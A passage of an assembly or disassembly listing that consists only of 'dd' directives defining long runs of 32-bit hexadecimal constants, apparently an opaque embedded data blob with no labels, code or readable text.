		dd 0A8009C6Bh, 86A9AFEh, 0C61257Ch, 79A5F0F6h, 0C030AB98h
		dd 0F77AD07Dh, 8745584Eh, 539DB200h, 970EB774h,	0A6EA910Ah
		dd 2E0EE3E7h, 3A408061h, 0DDF779h, 21FD1858h, 1449CE33h
		dd 5F0C881Fh, 5A89A9C7h, 0CCD94E40h, 1755002Fh,	0ED8D09F0h
		dd 86011FB7h, 28C0DC37h, 72DCB54Fh, 0A0E200F1h,	8B0947C4h
		dd 0CC1EE93Bh
		dd 65C0BDDBh, 0B0A864C5h, 0A091743Dh, 38409DE4h, 4400C3CBh
		dd 0B4053919h, 338794Fh, 298883ECh, 9B25C8D6h, 68B78823h
		dd 5F1A0066h, 0C567A851h, 0F21DA4EDh, 78BB2Ch, 967C6F93h
		dd 0DD839760h, 20A55808h, 0EBE0D5D6h, 23BEDF03h, 0B8E29DBBh
		dd 12D1B49h, 0FFEE4B12h, 80E3FB68h, 0A85DD818h,	761B42F2h
		dd 1C6730D5h, 3044C48h,	50E40F1Ch, 9B3E98Ch, 6C21C04Eh
		dd 0B19802A9h, 1F9CFE07h, 56C01B2Dh, 0BCBA40h, 3924E483h
		dd 9848BD72h, 39609D30h, 2F6C43Eh, 34CBDF3Dh, 0B80D5F14h
		dd 0E1B1E89Fh, 8907EB9Ch, 6638EC6Fh, 0AC732198h, 5A00C6E0h
		dd 0BCDA85D0h, 0C020BFAh, 2CF6BEE9h, 86004858h,	0EEAD2011h
		dd 2E17DBD3h, 0FA4D5Fh,	0D8A8225Bh, 84A0BB3Eh, 5D0013CBh
		dd 1AEE4AA4h, 28FBC5F2h, 5984210h, 0C0B932BBh, 29F1805Fh
		dd 430080E1h, 5BC813E4h, 1C6D1467h, 8FE870EFh, 0C07F1B79h
		dd 658ADFE0h, 90000631h, 7D3CEC61h, 382D3FFFh, 0E0DF78A7h
		dd 0EF000579h, 0CFAD79E7h, 4323F0h, 0F9119A20h,	914067E2h
		dd 519C0300h, 0BBE53B41h, 0B1F4B7h, 0D0129E3Fh,	72C0256Dh
		dd 29D9A700h, 8841C568h, 27550078h, 0E9217C1Dh,	81F20EFCh
		dd 932C0400h, 282387E4h, 96C2481Ah, 0BF19DF00h,	0CB17476Fh
		dd 0BA2CC4C0h, 9CCD93h,	0B3C8ED40h, 0D47B4219h,	481AA806h
		dd 2910BBC6h, 7E04BCC3h, 1550D218h, 8DF010h, 34743AC8h
		dd 0DE490D1Fh, 0E4782E00h, 13156A56h, 0C32100D1h, 9ED9B971h
		dd 0F1764007h, 12376600h, 866B8F42h, 852000CAh,	0C65595DEh
		dd 3D00C1A7h, 27D843FAh, 0E212642Ah, 94F03Eh, 514B5569h
		dd 0BD6729F4h, 0FCD8B700h, 0AC4CEF79h, 0D50500B5h, 647F8636h
		dd 0E4FD41A2h, 0A700AD6Bh, 88BC0A9h, 87C5BFh, 0C2AF0498h
		dd 979C1F4Eh, 5D6E2500h, 493BF20Fh, 0ABD100DBh,	0B2BE55C8h
		dd 0D6012B77h, 4FDF6C93h, 0A6DC538Bh, 8E73894h,	0F9D1BC00h
		dd 0D58791C5h, 0B59F3E00h, 404537DBh, 5DD0059h,	9258EC1Fh
		dd 710EA48Bh, 0C06DCB5Ch, 64D03485h, 8682004Dh,	0DD7A5D8Eh
		dd 3FE8BE08h, 0A003377h, 53D98D1Bh, 0EA134Fh, 0B1D08370h
		dd 1023198Fh, 64AFDD1Dh, 0F34AA240h, 0BD202Eh, 0B66FF528h
		dd 94808308h, 4C48B00h,	0F9C1666Eh, 39070279h, 0C0991543h
		dd 24822200h, 20C40085h, 14538371h, 6760EDE0h, 0D4EA5088h
		dd 0DEAA0482h, 8091B284h, 0DC86CDD8h, 0A640BD60h, 0B6A3AE8h
		dd 0A81CD570h, 27D8B80h, 0CCEAFB0Ch, 822D3800h,	2AD5755Ah
		dd 0D2250FD8h, 0C4A0C8F6h, 2F3F57DDh, 0EA8BE700h, 3E710759h
		dd 0C06330B8h, 9372DEC8h, 3200817Ah, 148D9DA7h,	21EA98h
		dd 0C5C39CA2h, 2E1B965Bh, 54A43D50h, 59189400h,	74EF9998h
		dd 0F2170004h, 39CBC3E0h, 3171E384h, 0F3301003h, 0E03D92E4h
		dd 8B2D01h, 9FDEBD35h, 0C95A7197h, 561FD203h, 8244835Eh
		dd 0C3B880B2h, 7DA79C7Bh, 7C9004Dh, 77A14B8Fh, 24E3F6BCh
		dd 9C035000h, 6399956Ch, 7CBAF00Ah, 0E90F417h, 1E51C301h
		dd 4F409F7Dh, 0E181BC71h, 0F004B36Eh, 25000BCAh, 1086AAE4h
		dd 489309A9h, 0C602241Fh, 9EE8C1B0h, 71EFFCA0h,	1EC1DBFh
		dd 0C40A850h, 885F8D00h, 5B99EAC7h, 0D9D3001Fh,	0E4661474h
		dd 0F4006ED8h, 9F473C97h, 0EE646271h, 68E700E8h, 0A0B2D14Ch
		dd 8C3090E1h, 0D67F28FFh, 0F87D5FA1h, 0BBA0034h, 16116DFEh
		dd 0FCB50062h, 0F6F50AEAh, 7C1FB28Bh, 86407414h, 0EFCA0BB7h
		dd 0B672EBh, 2B161E3h, 5739DBBAh, 9CE8F71Dh, 1CB31BC0h
		dd 6C7C5Ch, 476BB23Ch, 0C43294D7h, 804AD630h, 51AD3Ah
		dd 0DD7624C1h, 61EE8E6Ch, 84AFDC00h, 375C7727h,	0BC01004Eh
		dd 0CBAA0E0h, 210E395Bh, 60AE0DDDh, 97CB4F3Eh, 74B40059h
		dd 0A20C9ABCh, 833C732Ah, 26AF8F81h, 0EE00DCA8h, 1BD346E9h
		dd 0E2F70004h, 98F0AC0Ah, 6500248Dh, 0DC7B8005h, 72C89C28h
		dd 9F23309Eh, 419B1F48h, 8BEAE00h, 962C5332h, 0BB282E1Eh
		dd 1C5A0030h, 0CAA459DFh, 80F1733Dh, 2F560CD8h,	0F23B9262h
		dd 8AE90041h, 13B472BAh, 52004C51h, 0FF5430D6h,	9007CBEAh
		dd 7B8E3FEAh, 0C0B65780h, 0D059A194h, 5500D97Ch, 8E273E96h
		dd 51FFBCh, 0DD77877Fh,	5E0D4515h, 0BA0780DCh, 0D7D19560h
		dd 0BDDCFF4Bh, 6BA50052h, 0CB363767h, 0DD143368h, 0E01513h
		dd 861063C9h, 0E5BC6131h, 666FC440h, 6D7A48F1h,	0B5DB0800h
		dd 0B2AA58Eh, 84CF8D00h, 0AF066E6Dh, 0B84A001Ah, 210FD12h
		dd 0E700C35Dh, 0F420809Dh, 1E5AB5Ah, 50A287B1h,	0D0BB1341h
		dd 3A1ECF04h, 8DC0C4CEh, 0FE785AADh, 837900B2h,	0E7B8E103h
		dd 250160F0h, 380F9611h, 14C0F7DAh, 0F49803C4h,	0F9264EFBh
		dd 0B52BCCB0h, 52C67101h, 62ED127Fh, 1CA03C20h,	40D59CADh
		dd 8239A164h, 3C009493h, 0B024863Fh, 3EEAC817h,	0E60045FCh
		dd 291CEEBh, 7A00F5B4h,	1DDAA895h, 9799A8Ah, 394B18E1h
		dd 9C967400h, 7A4C2BD7h, 3B170051h, 0C5994554h,	1DF07Fh
		dd 42352F72h, 128BFD24h, 1402F9F8h, 6C4CBC11h, 5F814016h
		dd 0D5F0B1h, 0E50226DBh, 85E77920h, 0F30143E4h,	2F9A9083h
		dd 72C45413h, 26E00070h, 9B946A60h, 0F7F4AC21h,	28E81D00h
		dd 240D7B53h, 4E300E3Ah, 26FFE9B7h, 9580000Fh, 0C311FA1h
		dd 1E08D748h, 3F41C6E5h, 4D6DC716h, 9D24EC0h, 387848B3h
		dd 0B61AC480h, 1F1DC3DFh, 9E4040C7h, 88107144h,	0AFF60172h
		dd 48DEA559h, 0F080DEFEh, 0A2A6CE92h, 0CDB62900h, 0F371336Eh
		dd 6198021Dh, 6C972285h, 0E51FD540h, 0D118A607h, 0A7B0057Bh
		dd 1DB48E73h, 40A5DB23h, 0DF6F8579h, 0CC38AB80h, 532A0026h
		dd 0C3F40E1Fh, 0E423FC54h, 857A89h, 2199CF71h, 8A14251Ah
		dd 59583900h, 4C91C102h, 10A50068h, 4B293318h, 46075235h
		dd 6241459Ch, 0A8169773h, 2907C363h, 3EC0D26Dh,	85EA3A8Eh
		dd 9E7FA040h, 88030CF0h, 0C3A1DE3Eh, 0BADB8091h, 669900D0h
		dd 150868A6h, 1300A8A9h, 31534AFFh, 45DBFh, 99EBCA23h
		dd 8ADC9BBDh, 3F000C7Dh, 329FD58Eh, 7550EAA8h, 601F00AFh
		dd 576C9644h, 7300DF09h, 0EC83B9BBh, 0E1C054Bh,	0A25233C6h
		dd 66ACD6E0h, 0CD0FF035h, 20758143h, 7DE1B591h,	51BB07B2h
		dd 408E88B0h, 7082392h,	3C8B4903h, 761CA12h, 0ED68A230h
		dd 0E6FC00A3h, 0E801AB48h, 2DA18C64h, 19808935h, 8EF0DA6Bh
		dd 10137711h, 1800C4E5h, 899D45Fh, 49F90023h, 0AD8C28D8h
		dd 6E006535h, 0C90B1F77h, 9AACA7h, 29FC4998h, 3A0EA464h
		dd 5F373801h, 0EFDEFE54h, 3CECD631h, 48260F1Eh,	0EE40046Ah
		dd 1FE79AE4h, 0CA5F5D01h, 0F355BE36h, 5B9048C6h, 146F4E6h
		dd 0AFF9D3A8h, 646420DCh, 0A750E228h, 0A9076D14h, 99750E36h
		dd 0BE4C2A41h, 0FD730030h, 0B4F5F0h, 862B828Bh,	259DE26Fh
		dd 58A7A300h, 53397EDCh, 0D7D30EEEh, 0E0CE86ADh, 0E27F6C80h
		dd 0F903F4B5h, 69DC1FFAh, 1E797863h, 14DD5366h,	0A8004065h
		dd 69F9D2F1h, 0E186DE9h, 0A7B89E55h, 49A107CDh,	707A9FDCh
		dd 0B86B78F8h, 740CBEFAh, 405E3332h, 2BC70002h,	0ACC41266h
		dd 0CA041CBh, 53E34CDDh, 0BED8D0C4h, 3EC0AA9Eh,	0C66B349h
		dd 0E9F916E2h, 462E1888h, 4500E304h, 9AD06806h,	4C60A3h
		dd 0E2FFBB40h, 0B753849Ch, 5449DD09h, 0CC55008Ah, 74B965h
		dd 0BDC92A31h, 186D4D2Dh, 8C1C621Fh, 2CA98DC6h,	300600E9h
		dd 435A2A11h, 2700DA96h
		dd 44AC5E20h, 1C5779CAh, 0C05C8AF4h, 7273D7A5h,	3E311CDCh
		dd 431AC01Fh, 323AC983h, 0A7D28F10h, 3FAA5C0h, 682C8400h
		dd 0BF5BD445h, 9CDC0014h, 0F3BBE7C6h, 13009447h, 7B5D9B0Ch
		dd 3B10346h, 1F7CBD8Dh,	32C8CABBh, 900CE59h, 0B95C3037h
		dd 90DCC851h, 0CCA800E7h, 7C56B64Ah, 38003797h,	596E2506h
		dd 7C6ADD2Dh, 2132004Ch, 0E730A580h, 0A70FB117h, 960C855Ah
		dd 0CB792B18h, 7196008Eh, 0DD83B14Ah, 2E001036h, 0C85AA880h
		dd 1DF585DEh, 10CDB2Ch,	0B116F09Ch, 1949802Fh, 0D8E2535h
		dd 0A4F44Bh, 289BD81h, 128C6330h, 0A301A390h, 0B058C5C3h
		dd 42217CC6h, 21310898h, 0C301B9BFh, 0BA1EAAF8h, 18807F8Fh
		dd 9A0646A5h, 2A00FFD3h, 941DD555h, 0C5F178h, 5881592Ch
		dd 5C722F5h, 412C6D7Ch,	741B8C3Fh, 7EB3E010h, 15E70D8Ch
		dd 80301CC1h, 0C8FE7759h, 0DBA78Fh, 7C1576F1h, 0EFAA0D2Ah
		dd 0DDCA3E00h, 27125261h, 30876017h, 371B2C7Fh,	67F16803h
		dd 300CCBDCh, 0CC216409h, 0A3013B02h, 0FC87467Ch, 58B00C8Eh
		dd 1C9E7171h, 0DE8ACA06h, 7CA0D706h, 0D37018D8h, 0B28C4010h
		dd 0A116C003h, 0E86BD475h, 0E86ABC8Dh, 4D21C1D6h, 0F0531628h
		dd 0CE5C75ABh, 1FB440CAh, 19910518h, 4C4EE0h, 125E8C58h
		dd 29F17A20h, 6A0034E8h, 726FEE23h, 0F19A988h, 560AD2A6h
		dd 263A54E0h, 2A0040F4h, 0C7871AEAh, 625A04h, 25F8A4E4h
		dd 7D651D36h, 11896800h, 6FAC7CABh, 1BB70371h, 0D8A1856Ah
		dd 0A063358Ah, 2137AA90h, 3302439h, 552D4191h, 568498E8h
		dd 17160051h, 0FDBEFA42h, 0AF7C9D83h, 0BB057F00h, 9C66E83Dh
		dd 0CF1C0091h, 2627CCF7h, 4A00E531h, 9396C1Dh, 0B8FE423Bh
		dd 580C77FEh, 0BA034C63h, 7993A49h, 1452100Fh, 0CF079E6Eh
		dd 0EDF0ACF4h, 7FCB771Ah, 0CA8800C3h, 520427B6h, 210A5758h
		dd 14C6CFA3h, 5D8F8310h, 0B4441131h, 0BBD69B08h, 0C47C2F04h
		dd 2131410Fh, 0DA7A08D0h, 76843B90h, 803C489Fh,	0B5D2374Dh
		dd 16020C26h, 9E47AFA2h, 11A0C0E9h, 9661009Bh, 0F8B45D59h
		dd 18073D26h, 0FA8938A4h, 70D074E7h, 9F604Fh, 0FF3BE468h
		dd 0BCB65DE9h, 14A8481Eh, 149288Bh, 0CF33CE43h,	0AF301ADDh
		dd 2E8600BFh, 0E3F3BA30h, 67003AC3h, 0C6F1266Bh, 391C1Bh
		dd 24EAC588h, 6E8E138Fh, 575E6500h, 0FBD189FAh,	953100B2h
		dd 0C1B8E661h, 0FFA007ABh, 0FE031218h, 148546BBh, 88B2DB98h
		dd 39A7DDh, 0E713964Dh,	0F2CEF131h, 24265876h, 543D04ABh
		dd 9C1CD9DCh, 0B7006712h, 0A5F3F60Ah, 44110042h, 99D29540h
		dd 4F00A63Ah, 4383945Ch, 1F2DC5C4h, 873FAEBBh, 0DC775AD0h
		dd 0D200B480h, 0E3FAEBDFh, 605B90BAh, 92F1891h,	4F078F23h
		dd 8CEAD8B8h, 3BE0CFE0h, 0D341F40h, 0CB8D4394h,	6E98B707h
		dd 28900A2Dh, 0A4256A2Ah, 308DB60Fh, 1E40B3E3h,	7FBAEC2h
		dd 32A20614h, 9806F30Ch, 8E203Ah, 28BCC83h, 0F3CE8h, 1E767AA6h
		dd 0A40169F8h, 3B00527Fh, 2EE29486h, 0C3CA6Bh, 0A316813Ch
		dd 0E79E23B0h, 0FBEEF671h, 0D58B4500h, 0BB36AD42h, 0A63E0067h
		dd 0FADFD6D1h, 18006E70h, 485CDD31h, 0E63DC2DCh, 0D360579h
		dd 0C0E6D247h, 7D063C0Fh, 38FB8300h, 6215F9BEh,	3F951290h
		dd 9ECF00ABh, 0DF248CBh, 2C0039E2h, 5CA8F065h, 7D3E207h
		dd 0DD296E33h, 718A00B7h, 0B0294F9h, 0FC472280h, 7F948068h
		dd 3EF84B1Dh, 5C80C529h, 0F4E5BE50h, 6E0062B2h,	549F6779h
		dd 30EAF0h, 0BE436371h,	0EECD946Bh, 2043800h, 8332B396h
		dd 366C0048h, 9BD49FEh,	0D8008646h, 10C3442h, 123826E2h
		dd 20D5CB29h, 0B2CDD218h, 9D01FE72h, 4BAA74E6h,	7BD4F234h
		dd 0BD4126CEh, 0A140067h, 0F10EB2E1h, 31637300h, 0EE76BFB7h
		dd 240CF2F6h, 158662Dh,	15B887D5h, 0D74C2006h, 2E63300h
		dd 7362C31Ah, 3603014Eh, 4C58284Bh, 0DB83CC12h,	17F7600Ah
		dd 3007B031h, 20AC7762h, 46E200CAh, 0A1290155h,	2B014F33h
		dd 31F1BB15h, 0D9F8E443h, 0DDC600C7h, 4D381E0Eh, 0E6079B2Ah
		dd 4E3FC34h, 411093D0h,	5B7F0030h, 545C574Fh, 0AD3D5826h
		dd 728F8A4Eh, 9700FC9Dh, 0A4078CDBh, 0ABA100FDh, 355BB02Bh
		dd 0C51E6E4Eh, 86C0122Eh, 0EFD5190Fh, 200C072Fh, 30C71538h
		dd 81E699E0h, 8FC28D05h, 35C08E66h, 33A8687h, 0FF3CD86Bh
		dd 5E98B142h, 9A7D95CFh, 90681028h, 0B31E0605h,	0D880E88Eh
		dd 4E5422h, 0D82F57B8h,	59CAD019h, 2B66A300h, 0ADC8142Dh
		dd 78A20064h, 0A9833840h, 5AB0C5AAh, 0E8DE300h,	99B46362h
		dd 3BB258E4h, 4741600h,	7CD2B8E1h, 0C9322F14h, 7541DEC8h
		dd 0F7F41366h, 4C5367C8h, 84000801h, 9DCC8969h,	2301C605h
		dd 0DF60C86Ch, 0F304634h, 0F48B2C88h, 5BA200A0h, 22872DA9h
		dd 3EF8F75Ch, 3CC68C1Fh, 0EA1013h, 0E0E7A2EFh, 0AC4295B2h
		dd 44A89D04h, 0C384A46Fh, 40D11480h, 222580EDh,	0EA77802h
		dd 80F3ADD2h, 1C03B4DCh, 61823CEEh, 49006D48h, 0CFEC6A93h
		dd 981631A9h, 640974BAh, 108098D0h, 4F8600E9h, 499AD8EAh
		dd 450006F8h, 7692C3D4h, 0BBBCD77h, 0B9EFB2F7h,	5F79D280h
		dd 58005AFEh, 7D42CE8h,	2996E0h, 3A7FCCF6h, 1E88E4D7h
		dd 3103E175h, 2F354D08h, 79AFB02Ah, 0A480C075h,	76BCFF11h
		dd 7C26B00h, 0FEBA663Dh, 5E5702E8h, 922EDE73h, 9364B080h
		dd 0EF03BF95h, 0DFC94CDDh, 1334C86Ah, 4B7D0003h, 38D8AC78h
		dd 0F10030FFh, 5E526482h, 0F19CD6Bh, 32E29B92h,	37E8D1C0h
		dd 2F3D9ABDh, 85E00047h, 0F88B63ACh, 26AD7DBEh,	0DEC428h
		dd 961FFB87h, 0A938F93Ch, 0F060819Eh, 0E8ED829Dh, 0D03256F1h
		dd 0D63BCF00h, 93A624FAh, 0DCBAC538h, 98007104h, 0D012C0B3h
		dd 48EE44A4h, 4600C568h, 0A078F96Eh, 0C40077DAh, 0AA617D3Dh
		dd 1C943B5Ch, 6FCD50h, 3583B416h, 51029B6Bh, 0F0A0B30Fh
		dd 74B4C0BAh, 3D4F00E0h, 63527F86h, 0FA017ACCh,	0FDE1CF96h
		dd 41E8540Dh, 8DDA02B2h, 78B594E4h, 0E5014440h,	0FA01CD79h
		dd 36B68CCh, 0AE60775Fh, 906675BCh, 727A019Ah, 0FAD41B0Bh
		dd 693ED8D3h, 5BCC0503h, 81F368DBh, 47C1CA22h, 0C3CFC4h
		dd 100E2538h, 9B69218h,	7F8B18C0h, 0F62CDBh, 51EC454Eh
		dd 0F192D2EDh, 41D5D800h, 181D43D6h, 0AA2E001Eh, 6DA9421h
		dd 3700E75Dh, 0D6A75B42h, 7B6AB16h, 0BB3379F7h,	0F83A011Ah
		dd 46587013h, 61929700h, 476DA598h, 3BC605B3h, 0C244FF73h
		dd 0A46819F0h, 87033C1Fh, 66B18892h, 0C3A0BDCh,	2400059Fh
		dd 586916EEh, 5EA40400h, 41A85285h, 0E56A0012h,	0A98B0E0Fh
		dd 0FD009F99h, 0E1358C4Dh, 757FB0FAh, 63400098h, 91F4725Bh
		dd 0F8A1879Fh, 691EFC31h, 92482707h, 0DA00E575h, 48863EDDh
		dd 7BB161h, 65E84CE0h, 93C4B2FAh, 0FE78CC26h, 0B9FEF800h
		dd 73AD5Bh, 0AB47C906h,	0BD07D8C8h, 0C74C480Ch,	6E49F7h
		dd 533291CEh, 8492CA90h, 747BFC02h, 80C245F1h, 0C3C64ACh
		dd 0A27F003Fh, 72EFE9Bh, 2C05A34Dh, 0EFE238EDh,	0D5243180h
		dd 0A05F001Ch, 972FD385h, 253B61EEh, 0AC4CD6h, 0AF94F55Ah
		dd 0C1641448h, 0EA7307E0h, 0F250746Eh, 215291C1h, 2EE4A858h
		dd 18A9001Dh, 8FE447Dh,	870094C3h, 0D16CDF6Dh, 1C5B3101h
		dd 9C134115h, 0D6D400EAh, 866F8BB2h, 0B77B5800h, 0B0F1482Bh
		dd 0BF34008Ah, 32685470h, 940542A2h, 0DE668026h, 6F25CC0h
		dd 0F803EA4Ch
		dd 5822006Fh, 0F7885F07h, 9600E78Eh, 2E0EED78h,	0FC3C3381h
		dd 1D6500ADh, 7D5379F4h, 0FC1FF2B2h, 98EC04ABh,	11EA9500h
		dd 10D1E29h, 7D10A5FDh,	0D8BD4048h, 8D008BCFh, 4F67BE64h
		dd 3C7AEC5Fh, 0D524905Dh, 0B4060E68h, 2CDD36A0h, 4D07F663h
		dd 3DF2AFAEh, 3F2F60CEh, 7C58E86h, 0BADC933Ah, 0CF22F3D9h
		dd 25315800h, 0D6736F09h, 70530778h, 2143C841h,	70C4EE27h
		dd 0CE149FD8h, 0C43B75h, 0A31C3692h, 0A41F4C6h,	579D2C3Fh
		dd 0EF6802BCh, 3342E0CDh, 0F959D400h, 2B06C2B0h, 4E84D3EEh
		dd 51E30B29h, 948026BCh, 0CB15E80Dh, 0C72FC900h, 77131218h
		dd 7F5F04E7h, 0C1ED58E9h, 80A1AD94h, 0CE9AAE88h, 0F0DB2Eh
		dd 443E27D4h, 0BCC5B528h, 316F20C0h, 4B0E48h, 0E63B68E5h
		dd 78FD9A3Fh, 0F40933Fh, 6055A08Fh, 0C0E903C8h,	148B00B6h
		dd 0E2A199FCh, 0F1009DFAh, 29286558h, 1F103CEFh, 7E2D565Ah
		dd 0CF54B00h, 0ED861D97h, 0E8B2A505h, 809094A4h, 0D1C564h
		dd 7560464Dh, 22F8AA41h, 0CA312D05h, 0B84B9207h, 0D580DF87h
		dd 0D0964C0Ah, 472C9900h, 5BB44E53h, 66C5004Bh,	4190E7D6h
		dd 200B858h, 74358E5Ah,	310C8Bh, 0EE84300Dh, 0F7975CA0h
		dd 64E0D800h, 879C541h,	4C9248B8h, 0A8CC5514h, 0DC6EC09Fh
		dd 8A76DF82h, 0DECB3E00h, 9C05B607h, 0FAED48C1h, 6602FD4Ch
		dd 86DB1828h, 0B050A487h, 0CF2DC30Ch, 13F76E1Dh, 57A36AC0h
		dd 1D5D6B6Dh, 959D802h,	44C040DDh, 7503A57Dh, 0E9F8AD81h
		dd 520FA86Ah, 85F90062h, 1767AA4Eh, 151DDA12h, 9D80A464h
		dd 73BE1431h, 0B6B9013Ch, 876307B8h, 0DC38AC9Ch, 0DC2C34AEh
		dd 0FADBD61Eh, 36A5A049h, 0B5081771h, 0AE8404C6h, 4AFBC016h
		dd 0ED3C1CCAh, 50313060h, 2225BFFh, 5D0FA52Bh, 404058FAh
		dd 7600FD56h, 0D092B6F0h, 7DE11F77h, 6BAF0C31h,	0B4C4444Fh
		dd 0D870A072h, 0FC60EE0Ch, 42755139h, 57AE1021h, 1100423Dh
		dd 24054816h, 0CA033869h, 547BECCEh, 3E93A83Ah,	961E00EAh
		dd 40B52AD8h, 0E23BC3B4h, 38620163h, 51BF74ACh,	850630h
		dd 0CFDC3CC9h, 4350873Fh, 7C72EA26h, 985C0301h,	0B028603Ah
		dd 0A7334100h, 7DA14B21h, 2FFA4F00h, 3CD66BE9h,	18F500B0h
		dd 2D9E445Dh, 5579A712h, 4A0060B8h, 8C5AFBABh, 0E6B081A2h
		dd 0BC13583Ah, 52AF6300h, 6569FF49h, 4000C075h,	0D7835AF7h
		dd 586A3D7Ah, 5B1612AFh, 5E6C4033h, 70EB883Eh, 48C68E18h
		dd 7FE460h, 68806FC7h, 0A74243A0h, 0FCCD3407h, 4AA0D62Eh
		dd 75D3200Fh, 9F5700C5h, 7CB2DFACh, 1BE05E1Fh, 0CBB7DD04h
		dd 0F0D231BDh, 0A8AE10D9h, 4C80F400h, 7B9F13C6h, 45F002FBh
		dd 5FA456BCh, 1FDAECC8h, 0E53D1100h, 0A5A0BD7h,	73A20BC5h
		dd 8C2730C6h, 6006C76Fh, 7771E0FCh, 0A8AC4128h,	0D2376B03h
		dd 80B21887h, 1A71B7Bh,	0F9649554h, 0E47F0EAAh,	24018FC9h
		dd 8718AE28h, 0C4700D9Dh, 0D43D0FE0h, 47808516h, 5EF61C61h
		dd 80B9683Ch, 6CE905AAh, 381E63h, 639955Fh, 3A5B619Ah
		dd 0C634DB19h, 846199E8h, 2B20DED5h, 97F90BE7h,	0DC80B6AFh
		dd 0B739ED2h, 102B7F00h, 958EB94Ch, 2C7F8Dh, 5B52717Ch
		dd 0C83768B2h, 551F7A00h, 2CC18AC4h, 0DCB00Bh, 252BEBB0h
		dd 0A59016CDh, 57365818h, 0BB60C92h, 7338263Fh,	0FD7A0481h
		dd 0A511203Bh, 0A742507h, 233987BDh, 0D0FC9E9Ch, 50F74D57h
		dd 58C582B9h, 8F00D69Ah, 433102D4h, 3E008827h, 0FB1749ABh
		dd 90E1B7C7h, 0AF55090Ch, 64A0235Ch, 0CD2BD0C1h, 7ACC416h
		dd 5B4CDD00h, 706124h, 0E131A00Bh, 833B87A2h, 3F01DE71h
		dd 68E9ECA1h, 0CDD80C12h, 0D9983931h, 33D62D00h, 0C0E61D07h
		dd 586EE400h, 9BADB2BCh, 704E38B5h, 0DF85280h, 98134BFCh
		dd 0E9665900h, 0FBDC2FA8h, 900B1856h, 29AD283Dh, 4400C773h
		dd 0BA3C6B09h, 56CE98h,	6A819FBFh, 821A19DDh, 0F5F15E00h
		dd 709EC815h, 71753058h, 3D6738ACh, 9B0064FAh, 237208A2h
		dd 0F26E0DEh, 0BF706DDFh, 0EEF75BE0h, 2B7E06C5h, 0CF0953Fh
		dd 908EE674h, 4D200040h, 906FA3CEh, 69003913h, 10181B2Ch
		dd 5E947Ch, 925C4073h, 0DE8FD98Dh, 0CB16B100h, 2E14226Ch
		dd 0B02C00A7h, 0C93B7793h, 0A603879h, 0A01CFE40h, 9F3900C0h
		dd 0C8B35DFDh, 0BF004BC2h, 0B987FAECh, 201C81h,	866D890Fh
		dd 3CDC2744h, 0A12F6700h, 9CA58497h, 0B2791EFFh, 765C40B5h
		dd 65803890h, 500DA900h, 634D9BFEh, 570B2F7Eh, 0B500BE5Eh
		dd 8E6D1A21h, 970E0084h, 3E3F7178h, 57001F9Dh, 2D4B8358h
		dd 3BAF4585h, 383D0AF1h, 35D03300h, 5255BD20h, 28FE740Eh
		dd 84EC809Ah, 70264Fh, 2B5712CAh, 803D2013h, 0E3FC2F00h
		dd 34713733h, 0D84700D3h, 6A8B7D07h, 0A6005B73h, 93ADA840h
		dd 0F239F7Bh, 0B219FFFBh, 0E7A38160h, 61EEB522h, 943CB01Eh
		dd 341C3F83h, 0E05AF067h, 0ADFD00CAh, 59BB5D90h, 7A0038DBh
		dd 3ABCEBD5h, 0F708C66h, 65FD823Fh, 0D24598C7h,	0DCA055AFh
		dd 0EFFE3558h, 0E99A9D00h, 80EB126h, 1717015h, 0AD117486h
		dd 0C4A67E3Ah, 72F8FF80h, 8DA4C018h, 0C960141h,	87F2037Fh
		dd 0DC008C10h, 0DC9CD5Fh, 0EF046Fh, 90DE7747h, 36254079h
		dd 0C0036490h, 2F19CD57h, 828AA8E3h, 136B003Fh,	7ADDD40h
		dd 0B6091676h, 47A7ABh,	0D1F0C484h, 6BFACF20h, 66C865C0h
		dd 50F8724Dh, 7DC33B00h, 238D78CDh, 696100BEh, 0CE39F15Fh
		dd 0FFE67799h, 43E5DB1Dh, 98009612h, 1BCA6030h,	0EFDF00CFh
		dd 4ADB58Bh, 4A01DB62h,	1F76FF32h, 0A609636h, 0C84B607Fh
		dd 0F994DE75h, 4EF6CD76h, 660D8F02h, 40D652C6h,	30F6E75Ch
		dd 92E033DFh, 3A2C21F4h, 2E00E328h, 0BB3E0B13h,	30CB01B0h
		dd 0BDC663FDh, 6AEA00D4h, 0CAA0009Dh, 662E3A90h, 0AA057085h
		dd 46831A72h, 0FC2D8000h, 76DB17DFh, 0BFAD0074h, 0D4E3E533h
		dd 5C0024D6h, 943E9F79h, 0B96AB8h, 0D732CE91h, 7B1C6265h
		dd 11811502h, 0C01990FCh, 988434h, 0D0B4F50h, 0A8E21845h
		dd 55D24400h, 59DC0941h, 5D72AFh, 0A275C8AAh, 2A334616h
		dd 48942C48h, 327A0325h, 0F83965F4h, 14F5D663h,	0E723E1ADh
		dd 1CA98D14h, 611FD502h, 9C404D76h, 0AA03E6F7h,	5FD28968h
		dd 43800075h, 0F0E4DEDBh, 7A1F708Dh, 20402B7Dh,	0CF5F63D1h
		dd 3B071F5Eh, 3ADC40E6h, 0D762AA29h, 69ED9D00h,	0D4F59A1Ah
		dd 0EBCF00EAh, 3F17DC15h, 0F407E59Eh, 88CE6906h, 66F3DE90h
		dd 0A37C0029h, 0DAEDF6B2h, 0A80083C3h, 22404894h, 729FC5h
		dd 27075735h, 99E65D37h, 2000FF98h, 0A3BBB249h,	11C3FCh
		dd 169093A2h, 0E95E6055h, 46EC2500h, 0F5BF9167h, 18F00098h
		dd 0C1E71758h, 221C8A01h, 6C4AA794h, 0D7808874h, 5A964EF9h
		dd 7AA90036h, 0ED2A9E97h, 8972807Eh, 50782300h,	2F6A87F1h
		dd 0DAD100AAh, 35632ED4h, 0A600CCDEh, 0EFAF66B7h, 2622D09h
		dd 0B16A2164h, 0D160F98Fh, 0DE16D677h, 2043AAA2h, 0D839BD80h
		dd 13259C30h, 26F658Eh,	29072AE0h, 2DA9E883h, 0B306FBB8h
		dd 8D1E0F00h, 0A6CB4AAAh, 0E56D002Eh, 0A3D2650Ch, 1A00F160h
		dd 541FCCC6h, 310B0FCh,	43939215h, 8094E29Eh, 64F26C3Ah
		dd 950FBB7Ah, 20CD6154h, 0E223B482h, 2EF607F8h,	3C8FAF4Bh
		dd 631CC1A1h, 0A4405B16h, 0B2AB999Ah, 0C47B1F98h, 3382C97h
		dd 44D3B0A8h, 0D1C5311Dh, 592EE0C1h, 5ED0DFB6h,	289C54AFh
		dd 5B150F96h, 8547A443h
		dd 0C0BD4F93h, 4D0342E5h, 5F0233F6h, 956B9007h,	0C89080FAh
		dd 0FB44E52h, 0AB30D873h, 0A9777EC7h, 9180318Fh, 0DDCE6E03h
